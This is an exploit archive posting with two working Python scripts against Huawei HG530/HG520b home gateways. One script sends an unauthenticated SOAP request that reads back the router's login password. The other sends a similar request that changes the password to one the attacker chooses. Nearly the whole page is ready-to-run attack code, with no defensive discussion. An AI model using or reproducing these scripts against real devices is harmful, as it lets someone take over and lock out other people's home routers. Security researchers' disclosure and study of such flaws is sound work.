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Huawei Home Gateway HG530 / HG520b Password Disclosure / Change

Huawei Home Gateway HG530 / HG520b Password Disclosure / Change
Posted Jun 29, 2015
Authored by Fady Mohamed Osman

Two exploits for Huawei Home Gateway versions HG530 and HG520b that allow for password disclosure and password change.

tags | exploit
MD5 | 6d106f4154aa32cdc42b0ed65297b56e

Huawei Home Gateway HG530 / HG520b Password Disclosure / Change

Change Mirror Download
---- Exploit 1 ----

getRouterPass_Huawei_HG530.py:

#! /usr/bin/python
import socket
import sys
import re

if len(sys.argv) !=2:
print "[*] Please enter the target ip."
print "[*] Usage : " + sys.argv[0] + " IP_ADDR"
exit()
# Create a TCP/IP socket
target_host = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
server_address = (target_host, 80)
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address
sock.connect(server_address)
try:
soap = "<?xml version=\"1.0\"?>"
soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
soap +="<s:Body>"
soap +="<m:GetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"
soap +="</m:GetLoginPassword>"
soap +="</s:Body>"
soap +="</s:Envelope>"
message = "POST /UD/?5 HTTP/1.1\r\n"
message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#GetLoginPassword\"\r\n"
message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"
message += "Host:" + target_host + "\r\n"
message += "Content-Length:" + str(len(soap)) +"\r\n"
message += "Expect: 100-continue\r\n"
message += "Connection: Keep-Alive\r\n\r\n"
sock.send(message)
data = sock.recv(1024)
print "[*] Recieved : " + data.strip()
sock.send(soap)
data = sock.recv(1024)
data += sock.recv(1024)
#print data
r = re.compile('<NewUserpassword>(.*?)</NewUserpassword>')
m = r.search(data)
if m:
print "[*] Found the password: " + m.group(1)
finally:
sock.close()




---- Exploit 2 ----

setRouterPass_Huawei_HG530.py:

#! /usr/bin/python
import socket
import sys
import re

if len(sys.argv) !=3:
print "[*] Please enter the target ip and the new password."
print "[*] Usage : " + sys.argv[0] + " IP_ADDR NEW_PASS"
exit()

# Create a TCP/IP socket
target_host = sys.argv[1]
new_pass = sys.argv[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
server_address = (target_host, 80)
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address
sock.connect(server_address)
try:
soap = "<?xml version=\"1.0\"?>"
soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
soap +="<s:Body>"
soap +="<m:SetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"
soap +="<NewUserpassword>"+new_pass+"</NewUserpassword>"
soap +="</m:SetLoginPassword>"
soap +="</s:Body>"
soap +="</s:Envelope>"
message = "POST /UD/?5 HTTP/1.1\r\n"
message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#SetLoginPassword\"\r\n"
message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"
message += "Host:" + target_host + "\r\n"
message += "Content-Length: " + str(len(soap)) + "\r\n"
message += "Expect: 100-continue\r\n"
message += "Connection: Keep-Alive\r\n\r\n"
sock.send(message)
data = sock.recv(1024)
print "[*] Recieved : " + data.strip()
sock.send(soap)
data = sock.recv(1024)
data += sock.recv(1024)
print "[*] Done."
finally:
sock.close()
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